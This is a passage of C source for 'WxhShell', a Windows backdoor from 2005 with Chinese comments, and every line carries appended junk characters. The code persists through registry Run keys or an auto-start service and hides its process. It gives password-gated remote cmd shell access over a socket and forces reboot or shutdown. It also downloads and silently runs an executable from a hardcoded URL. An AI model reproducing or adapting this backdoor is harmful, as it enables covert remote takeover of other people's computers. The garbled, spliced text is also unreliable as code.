    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r$M<vo6C  
    if(Boot(SHUTDOWN)) &xUCXj2-z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wn=I[K&&  
    else { t:oq't  
    closesocket(wsh); BINHCZ  
    ExitThread(0); ZvXw#0)v  
    } -;8a* F  
    break; OhaoLmA}6  
    } N&G(`]  
  // 获取shell k[pk R{e  
  case 's': { q~iEw#0-L  
    CmdShell(wsh); `tT7&*Os  
    closesocket(wsh); (I;81h`1G  
    ExitThread(0); "p+oi@  
    break; iM9k!u FE  
  } xrY >Or  
  // 退出 c>c4IQ&d  
  case 'x': { txMC^-J2l  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E.N>,N  
    CloseIt(wsh); s)3CosU  
    break; o ,_F;ZhE  
    } A? jaS9 &)  
  // 离开 :.BjJ2[S  
  case 'q': { ; %AgKgV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Rq",;,0ZJ  
    closesocket(wsh); MVQ6I/EA4  
    WSACleanup(); =D?HL?  
    exit(1); Yc)Dx3  
    break; &{wRBl#  
        } mo4F\$2N  
  } .!2 u#A  
  } R vU'8Y?>w  
DBu8}2R  
  // 提示信息 xf8e"mD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OFcP4hDi  
} =SW<Vhtb  
  } %@aC5^Ovy+  
Wy1.nn[  
  return; Kn?h  
}  N`X|z  
|_s,]:  
// shell模块句柄 k $ SMQ6  
int CmdShell(SOCKET sock) v3n T@r a'  
{ KL(s Vj^e  
STARTUPINFO si; 8W Qc8  
ZeroMemory(&si,sizeof(si)); pfl^GgP#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XfIsf9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #{k+^7aQ  
PROCESS_INFORMATION ProcessInfo; cj2^wmkB  
char cmdline[]="cmd"; 4}0YLwgJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]H`pM9rC  
  return 0; w!d(NA<|0]  
} !w!k0z]  
% bdBg  
// 自身启动模式 |XQ\c.A  
int StartFromService(void) By*YBZ  
{ e!w{ap8u  
typedef struct tk 5 p@l  
{ siV]NI ':|  
  DWORD ExitStatus; Ya<V@qd  
  DWORD PebBaseAddress; ,k@i Nid  
  DWORD AffinityMask; "ZNy*.G|[  
  DWORD BasePriority; J*%IvRg  
  ULONG UniqueProcessId; 3F6A.Ny  
  ULONG InheritedFromUniqueProcessId; d[H`Fe6h  
}   PROCESS_BASIC_INFORMATION; X$%W&:  
L&|^y8  
PROCNTQSIP NtQueryInformationProcess; u Vv %k5  
G_k_qP^:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *|6vCR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hVZS6gU,x  
7a/ BS(kq<  
  HANDLE             hProcess; &u<%%b|  
  PROCESS_BASIC_INFORMATION pbi; d?/g5[  
J-klpr#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x],XiSyp  
  if(NULL == hInst ) return 0; BoARM{m  
80gOh:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yS?5&oMl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ET*:iioP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); GJ?J6@|  
~e]l  
  if (!NtQueryInformationProcess) return 0; Ak}`zIo  
-\Z`+kY?p  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Qo(<>d  
  if(!hProcess) return 0; -Vmp6XY3q  
,x3< a}J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; VYH $em6  
:yw(Co]f  
  CloseHandle(hProcess); -0k{O@l"  
4zOFu/l6R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e+ m(g  
if(hProcess==NULL) return 0; 3Zpq#  
\mt Y_O  
HMODULE hMod; `Xi)';p  
char procName[255]; bXM&VW?OP  
unsigned long cbNeeded; \4fuC6d2  
%_39Wa  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ['6Sq@c)  
NUuIhB+  
  CloseHandle(hProcess); YQ1rS X3  
%r(qQM.Pl  
if(strstr(procName,"services")) return 1; // 以服务启动 SapVS*yx@  
Cs vwc%  
  return 0; // 注册表启动 X7?14W  
} -2C^M> HZ  
r"VNq&v]9  
// 主模块 gla'urb[i|  
int StartWxhshell(LPSTR lpCmdLine) i DsY 5l  
{ G}dq ft5"  
  SOCKET wsl; &pv* TL8  
BOOL val=TRUE; \SJX;7 ST  
  int port=0; u&f|z9  
  struct sockaddr_in door; S[l z>I  
2c*}1 _  
  if(wscfg.ws_autoins) Install(); Q} -YD.bx3  
TTo?BVBK  
port=atoi(lpCmdLine);  {yxLL-5c  
oy=ej+:  
if(port<=0) port=wscfg.ws_port; AZ\f6r{  
J'wJe,  
  WSADATA data; >@Na6BH5v  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |b!Bb<5  
>v1.Gm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M pz9}[`3g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \ ~C/  
  door.sin_family = AF_INET; Ga <=Di):  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;hd%w mE  
  door.sin_port = htons(port); +.u HY`A  
 \5HVX/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Gy'/)}}Z  
closesocket(wsl); |B2>}Y/  
return 1; BG1hk!  
} MTbCL53!-  
y8v0>V0)  
  if(listen(wsl,2) == INVALID_SOCKET) { a\p`J9Z@  
closesocket(wsl); 7G Jhc  
return 1; 1 a%1C`d  
} #A< |qd  
  Wxhshell(wsl); !H9zd\wc  
  WSACleanup(); LZJFp@  
<yw=+hz[u  
return 0; ,GtN6?  
JUq7R%"h6  
} T IyHM1+  
 Ozsvsa  
// 以NT服务方式启动 AG G xx?I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) W7\UZPs5t  
{ *4Z! 5iOs  
DWORD   status = 0; )<5hga][~a  
  DWORD   specificError = 0xfffffff; "2"2qZ*h}  
8&7zV:=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; AbX#wpp!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  "'Q~&B;@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +4[Je$qYa  
  serviceStatus.dwWin32ExitCode     = 0; 0.U- tg0  
  serviceStatus.dwServiceSpecificExitCode = 0; (J j'kW6G6  
  serviceStatus.dwCheckPoint       = 0; iW[%|ddk  
  serviceStatus.dwWaitHint       = 0; _6aI>b#yL  
?nM]eUAP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TH~"y  
  if (hServiceStatusHandle==0) return; j:2*hF!E  
l% {<+N  
status = GetLastError(); d @b ]/  
  if (status!=NO_ERROR) e,*@+E\4  
{ aL8Z|*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K[q-[q#yc  
    serviceStatus.dwCheckPoint       = 0; )s ?Hkn  
    serviceStatus.dwWaitHint       = 0; |tFg9RT  
    serviceStatus.dwWin32ExitCode     = status; ~#=70  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ece=loV*l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hz-^9U  
    return; U@LIw6B!KL  
  } iu`B8yI  
T^2o' _:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %^iBTfq2hc  
  serviceStatus.dwCheckPoint       = 0; aM\Ph&c7e'  
  serviceStatus.dwWaitHint       = 0; |O*?[|`H  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,,h>_IA  
} h0-CTPQ7A  
'pT8S  
// 处理NT服务事件,比如:启动、停止 FMl_I26]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {YIVi:4q  
{ j Oxnf%jl  
switch(fdwControl) sQO>1bh  
{ yk2XfY  
case SERVICE_CONTROL_STOP: W: 3fLXk+  
  serviceStatus.dwWin32ExitCode = 0;  &/)To  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o4YF,c+>q  
  serviceStatus.dwCheckPoint   = 0; ]QF*\2b-I2  
  serviceStatus.dwWaitHint     = 0; V B=jK Mi  
  { 6PMu*-Nv!j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ca:Vdrw`  
  } z2;<i|Ez0  
  return; xv_Z$&9e>l  
case SERVICE_CONTROL_PAUSE: ]ia{N  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; io7Zv*&T0  
  break; T ?{F7  
case SERVICE_CONTROL_CONTINUE: i >BQRbU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; p '=XW#2 >  
  break; @-O%u* %J  
case SERVICE_CONTROL_INTERROGATE: r3~YGY  
  break; =^w:G=ymS  
}; v2vtkYQN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )yS S2  
} L#MMNc+  
0w6"p>s>c  
// 标准应用程序主函数 2-rfFqpe  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xp]_>WGq  
{ -g4 {:!*D  
S"R(6:hkgu  
// 获取操作系统版本 KY9@2JG  
OsIsNt=GetOsVer(); &hIr@Gi@ch  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -8sB\E  
gzp]hh@4  
  // 从命令行安装 GAlM:>  
  if(strpbrk(lpCmdLine,"iI")) Install(); @[O|n)7  
P2 z~U  
  // 下载执行文件 `M ~-(,++  
if(wscfg.ws_downexe) { +VO(6Jn  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %}Z1KiRiX  
  WinExec(wscfg.ws_filenam,SW_HIDE); |N5|B Q(y$  
} g`41d  
%WFZ&>en&  
if(!OsIsNt) { YDGW]T]i ?  
// 如果时win9x,隐藏进程并且设置为注册表启动 v(Q-RR  
HideProc(); E&\ 0+-Dw  
StartWxhshell(lpCmdLine); R7Z!  
} piAFxS<6  
else (q=),3/<pU  
  if(StartFromService()) P?<G:]W  
  // 以服务方式启动 E7@m& R  
  StartServiceCtrlDispatcher(DispatchTable); B\quXE)  
else 1j!{?t ?  
  // 普通方式启动 dz )(~@tgz  
  StartWxhshell(lpCmdLine); #$ ,b )Uy  
=m?x5G^  
return 0; 9*? i89T  
} ?Nl@K/  
4l_~-Peh  
D3C3_ @*  
R(#ZaFuo[  
=========================================== /Hyi/D{W  
+\25ynM  
BB? 4>#D  
Pq3|O Z  
1-8 G2e  
+{s -Fg  
" a7TvX{<d  
i0&W}Bb'  
#include <stdio.h> "Pzh#rYY~W  
#include <string.h> WI-I+0sE  
#include <windows.h> _{?-=<V'_  
#include <winsock2.h> GNoUn7Y  
#include <winsvc.h> u X+ YH  
#include <urlmon.h> 8]l(D  
\s,~|0_V  
#pragma comment (lib, "Ws2_32.lib") $u::(s} x<  
#pragma comment (lib, "urlmon.lib") mN1n/LNi  
'~AR|8q?  
#define MAX_USER   100 // 最大客户端连接数 tIo b  
#define BUF_SOCK   200 // sock buffer ^8 cq qu  
#define KEY_BUFF   255 // 输入 buffer ulNMqz\.  
J,t`il T  
#define REBOOT     0   // 重启 Lwkl*  
#define SHUTDOWN   1   // 关机 ^NFL3v8  
{,e-; 2q  
#define DEF_PORT   5000 // 监听端口 VH<-||X/4  
8]xYE19=  
#define REG_LEN     16   // 注册表键长度 S.*LsrSV  
#define SVC_LEN     80   // NT服务名长度 _''9-t;n,  
k6(0:/C  
// 从dll定义API l6pvQ|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v`r*Yok;`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |L(h+/>aWX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T< o8lL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *JiI>[  
qR9!DQc'  
// wxhshell配置信息 uevhW  
struct WSCFG { Xt$Y&Ho  
  int ws_port;         // 监听端口 \?"kT}..  
  char ws_passstr[REG_LEN]; // 口令 N)  
  int ws_autoins;       // 安装标记, 1=yes 0=no y`J8hawp  
  char ws_regname[REG_LEN]; // 注册表键名 6K5mMu#4  
  char ws_svcname[REG_LEN]; // 服务名 qzi i[Mf  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Dh)(?"^9A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 REJHh\:.77  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #bGYd}BfD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no WUGFo$ xA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %8?XOkH)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F+ <Z%KuCu  
m Q^SpK #  
}; xtzkgb,0[  
Ui`#B  
// default Wxhshell configuration >lF@M-  
struct WSCFG wscfg={DEF_PORT, ricL.[v9S  
    "xuhuanlingzhe", 'm.+S8  
    1, Dao=2JB{  
    "Wxhshell", G@scz!Nt  
    "Wxhshell", FM<`\ d'  
            "WxhShell Service", ?{wD%58^oG  
    "Wrsky Windows CmdShell Service", ?vmoRX  
    "Please Input Your Password: ", D|IS@gWa  
  1, '8;'V%[+  
  "http://www.wrsky.com/wxhshell.exe", Pdk#"H-j  
  "Wxhshell.exe" k;jXVa  
    }; Qn)AS1pL+  
&A~hM[-  
// 消息定义模块 hY|-l%2f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $Ao'mT  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *Nur>11D  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,n &Lp  
char *msg_ws_ext="\n\rExit."; Fmzkbt~oe  
char *msg_ws_end="\n\rQuit."; XUTsW,WC  
char *msg_ws_boot="\n\rReboot..."; o&>aYlXd  
char *msg_ws_poff="\n\rShutdown..."; 06[HE7  
char *msg_ws_down="\n\rSave to "; ^m-w@0^z  
'Ej+Jczzpp  
char *msg_ws_err="\n\rErr!"; 3|bbJ6*.<  
char *msg_ws_ok="\n\rOK!"; X u2+TK  
OtoG,~?  
char ExeFile[MAX_PATH]; 'ji|'x T  
int nUser = 0; oObQN;A@6  
HANDLE handles[MAX_USER]; xMFEeSzl>S  
int OsIsNt; sCE%./h]  
g1)ZjABV  
SERVICE_STATUS       serviceStatus; k zC4V  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ogJ *  
$>rKm  
// 函数声明 +HlZ ?1g  
int Install(void); 9hjzOJPuga  
int Uninstall(void); Zm6|aHx8v  
int DownloadFile(char *sURL, SOCKET wsh); +g_m|LF  
int Boot(int flag);  7MQxW<0  
void HideProc(void); Wjr^: d  
int GetOsVer(void); !1Nh`FN  
int Wxhshell(SOCKET wsl); rTim1<IXR  
void TalkWithClient(void *cs); 0U?(EJ  
int CmdShell(SOCKET sock); 5RyxVC0<  
int StartFromService(void); /ACau<U]t  
int StartWxhshell(LPSTR lpCmdLine); hP$5>G(3  
I!T=$Um  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jOm7:+H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); cJzkA^T9  
|nBZ:$D  
// 数据结构和表定义  '3xK1Am  
SERVICE_TABLE_ENTRY DispatchTable[] = l YpoS  
{ Ru4M7 %  
{wscfg.ws_svcname, NTServiceMain}, u@t~*E5BpM  
{NULL, NULL} YI2x*t!  
}; <7`U1DR=  
4<Kxo\\S  
// 自我安装 M9?f`9  
int Install(void) F:8@ ]tA&  
{ Q+s2S>U{v  
  char svExeFile[MAX_PATH]; AOe f1^S=  
  HKEY key; ~vcua@  
  strcpy(svExeFile,ExeFile); ^0?ww&X  
v ,zD52  
// 如果是win9x系统,修改注册表设为自启动 15d'/f  
if(!OsIsNt) { -K/c~'%'*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p!K^Q3kO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B_>r|^Vh  
  RegCloseKey(key); `W.g1"o8W4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QWE\Ud.q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2?:'p[z"]  
  RegCloseKey(key); LuVL <W  
  return 0; ,s/laZ)V  
    } FcyF E~>2  
  } "^wIixOH5  
} G+<id1  
else { yw{r:fy  
~zVe?(W  
// 如果是NT以上系统,安装为系统服务  /#zs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); oA3;P]~[  
if (schSCManager!=0) *:ErZ UyQM  
{ )nrYxxN  
  SC_HANDLE schService = CreateService )>@%;\qV  
  ( OxUc,%e9P  
  schSCManager, \\3 ?ij:v  
  wscfg.ws_svcname, Vq'n$k}  
  wscfg.ws_svcdisp, h.kjJF  
  SERVICE_ALL_ACCESS, U5p3b;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `uC^"R(m  
  SERVICE_AUTO_START, s"p\-Z  
  SERVICE_ERROR_NORMAL, eKf5orN  
  svExeFile, u#NX`_  
  NULL, 4j(`koX_  
  NULL, WJMmt XO  
  NULL, 2w fkXS=~6  
  NULL, wCu!dxT|,  
  NULL rPt   
  ); @U@O#+d'ZR  
  if (schService!=0) KNR7Igw?}  
  { bz.sWBugR  
  CloseServiceHandle(schService); Y^y:N$3$\  
  CloseServiceHandle(schSCManager); [I/ZzDMX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <C451+95  
  strcat(svExeFile,wscfg.ws_svcname); PcjeuJZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9 9^7Ek!z#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O%w'n z"  
  RegCloseKey(key); 204"\ mv  
  return 0; #qv!1$}2  
    } u=Xpu,q  
  } P"o|kRO  
  CloseServiceHandle(schSCManager); ! Y&]Y G  
} ct<XKqbI  
} m#4h5_N  
2*a9mi  
return 1; 3*\hGt,ZP  
} aU_l"+5>vq  
CeM%?fr5  
// 自我卸载 2/\I/QkTs  
int Uninstall(void) Mi\- 9-  
{ YFW/ Fa\7  
  HKEY key; j8aH*K-l{  
;#mm_*L%@  
if(!OsIsNt) { t<`d*M2w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F{c8{?:  
  RegDeleteValue(key,wscfg.ws_regname); M^Tm{`O!  
  RegCloseKey(key); ;aD?BD__Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .{|SKhXk  
  RegDeleteValue(key,wscfg.ws_regname); *\cU}qjk  
  RegCloseKey(key); sL ;;'S&  
  return 0; <[u(il  
  } GVfRy@7n  
} ddd2w  
} 1(RRjT 9  
else { I:6XM?  
eu":\ks  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z?V vFEt%  
if (schSCManager!=0) <PM.4B@  
{ z, FPhbFn  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Spin]V  
  if (schService!=0) C ](djkA$  
  { pG'?>]Rt4  
  if(DeleteService(schService)!=0) { 2EYWX! Bx  
  CloseServiceHandle(schService); Y*{5'q+2  
  CloseServiceHandle(schSCManager); c *<m.  
  return 0; btC6R>0   
  } +KWO`WR  
  CloseServiceHandle(schService); 6/T/A+u  
  } P&<NcOCL&  
  CloseServiceHandle(schSCManager); [j0jAl  
} J8ScKMUN2  
} @(+\*]?^&  
\DWKG~r-%  
return 1; )>"pm {g2  
} _~*j=XRs  
v#`>  
// 从指定url下载文件 TK%q}bK,  
int DownloadFile(char *sURL, SOCKET wsh) Y88N*axDW.  
{ g"kET]KP"  
  HRESULT hr; Q laoa)d#  
char seps[]= "/"; rBi6AM/  
char *token; K\zb+  
char *file; } E[vW  
char myURL[MAX_PATH];  dvz6  
char myFILE[MAX_PATH]; 3\{\ al   
Zg0nsNA   
strcpy(myURL,sURL); $!TMS&Wk  
  token=strtok(myURL,seps); -]{ _^  
  while(token!=NULL) \(;u[  
  { D,|TQ Q  
    file=token; uH,/S4?X  
  token=strtok(NULL,seps); R(,m!  
  } 4'`H H  
(`4&Y-  
GetCurrentDirectory(MAX_PATH,myFILE); L3'isaz&^  
strcat(myFILE, "\\"); ecO$L<9>  
strcat(myFILE, file); ;PnN$g]Q  
  send(wsh,myFILE,strlen(myFILE),0); R3.w")6  
send(wsh,"...",3,0); f`_{SU"3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f9 :=6  
  if(hr==S_OK) Bjj =UtI  
return 0; 2I& dTxIa  
else DY{v@ <3  
return 1; G)c+GoK  
<a&xhG}  
} aQf2}kD  
lQ4^I^?m  
// 系统电源模块 _MuzD&^qE  
int Boot(int flag) MPn/"Fij$  
{ +$xw0)|  
  HANDLE hToken; 7i'clB9!  
  TOKEN_PRIVILEGES tkp; )s4: &!  
N}<!k#d E  
  if(OsIsNt) { ~ 4Mz:h^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g0;;+z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ld):Am}/o  
    tkp.PrivilegeCount = 1; EwgNd Gcj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; j]` hy"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~D`R"vzw=  
if(flag==REBOOT) { uFhPNR2l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jTZi< Y:bB  
  return 0; 9j5|o([J  
} GoH.0eQ^  
else { dm40qj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [O|c3;  
  return 0; Qh6 vH9(D  
} j 9GKz1  
  } e'c3.sQ|?  
  else { 'HCRi Z<  
if(flag==REBOOT) { 1zw,;m n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tFX<"cAvK  
  return 0; #3eI4KJ4+l  
} E>gLUMG$  
else { A7&/3C6{H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p! )tA  
  return 0; vb]uO ' l  
} W(?J,8>  
} 2"j&_$#l5X  
i,% N#  
return 1; Pgq(yPC  
} 2 e#"JZ=  
l0qHoM,1Y[  
// win9x进程隐藏模块 rc7c$3#X  
void HideProc(void) =|dm#w_L"  
{ 6#Y]^%?uy  
< <Y]P+uU  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #pPR>,4  
  if ( hKernel != NULL ) E[=&6T4  
  { w(X}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7;C~>WlU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3RxR'M1  
    FreeLibrary(hKernel); fCnwDT  
  } zV;NRf) 9.  
nD)SR  
return; Y5B! *+h  
} k6Vs#K7a  
8wZ $Hq  
// 获取操作系统版本 w^n&S=E E~  
int GetOsVer(void) =knLkbiq7,  
{ YcR: _ac  
  OSVERSIONINFO winfo; nw_|W)JVQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B}* \ pdJ  
  GetVersionEx(&winfo); _ Qek|>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n <HF]  
  return 1; yp@cn(:~  
  else UfV { m  
  return 0; QwF.c28[  
} p]Qe5@NT  
a9_2b}t  
// 客户端句柄模块 e8egxm  
int Wxhshell(SOCKET wsl) bNtOqhi  
{ PJe \PGh  
  SOCKET wsh; m7XN6zX  
  struct sockaddr_in client; %u<r_^w5  
  DWORD myID; jGJf[:M&Pm  
+9' )G-`qj  
  while(nUser<MAX_USER) pCa~:q*85  
{ W~i0.rg|>  
  int nSize=sizeof(client); eecIF0hp  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &9.3-E47*  
  if(wsh==INVALID_SOCKET) return 1; 5GPAt  
Vhb~kI!x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b}u#MU  
if(handles[nUser]==0) [xDIK8d:I  
  closesocket(wsh); h"}F3E  
else RC8-6s& ln  
  nUser++; sk~7"v{Y.  
  } -XkjO$=!=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); = 1d$x:  
Et}%sdS  
  return 0; NcX-* o  
} 36.mf_AM  
F^TOLwix  
// 关闭 socket YhAO  
void CloseIt(SOCKET wsh) /^&$ma\  
{ /jq"r-S"  
closesocket(wsh); irjHPuhcG  
nUser--;  P/]8+_K  
ExitThread(0); BCd0X. m(  
} V2tA!II-s  
p!?7;  
// 客户端请求句柄 oW(8bd)  
void TalkWithClient(void *cs) [`KQ \4u  
{ tEibxE  
\S~<C[P  
  SOCKET wsh=(SOCKET)cs; n iB<h  
  char pwd[SVC_LEN]; b Hy<`p0  
  char cmd[KEY_BUFF]; f)Z'#[A*t7  
char chr[1]; X\<a|/{V A  
int i,j;  Y!|};  
(.{."  
  while (nUser < MAX_USER) { m5KLi &R  
Vt9o8naz  
if(wscfg.ws_passstr) { mcQ\"9;pY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6jl{^dI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AJRiwP|H+  
  //ZeroMemory(pwd,KEY_BUFF); }2Im?Q  
      i=0; 8-K4*(-dL  
  while(i<SVC_LEN) { {z'Gg  
YsO`1D  
  // 设置超时 Rob: W|  
  fd_set FdRead; aIWpgUd`  
  struct timeval TimeOut; (ijO|%?  
  FD_ZERO(&FdRead); MU N:}S  
  FD_SET(wsh,&FdRead); eMH\]A~v"  
  TimeOut.tv_sec=8; *\Hut'7 d  
  TimeOut.tv_usec=0; ~H]d9C  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /`O'eH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5=4-IO6W[]  
J=n^&y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sn@)L~$V  
  pwd=chr[0]; g|!=@9[dv  
  if(chr[0]==0xd || chr[0]==0xa) { icK U)  
  pwd=0; ?C6`  
  break; \OK}DhY#  
  } lw4#C`bx  
  i++; 6b!1j,\Vx  
    } Ew9 MWlk  
>v%UV:7ap  
  // 如果是非法用户,关闭 socket ];0:aSi#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EkN>5).  
} gJzS,g1]  
i\MW'b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m :]F &s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QkO4Td<  
#P1 ;*m  
while(1) { fK=vLcH  
wp-3U}P2(  
  ZeroMemory(cmd,KEY_BUFF); 23q2u6.F`  
`7',RUj|D  
      // 自动支持客户端 telnet标准   _'s5FlZq  
  j=0; \z2d=E  
  while(j<KEY_BUFF) { dBW#PRg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <5sfII  
  cmd[j]=chr[0]; } x'o`GuUf  
  if(chr[0]==0xa || chr[0]==0xd) {  +!wkTrV  
  cmd[j]=0;  uQW d1>  
  break; `"bp -/  
  } [{_K[5i  
  j++; .:, 9Tf  
    } I]ol[ X0S  
;Y(~'KF  
  // 下载文件 8@I.\u)0  
  if(strstr(cmd,"http://")) { + V-&?E(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  HYg7B  
  if(DownloadFile(cmd,wsh)) i{>YQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); wtGb 3D"am  
  else lHPhZ(Z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *P[N.5{  
  } ^#2Y4[@  
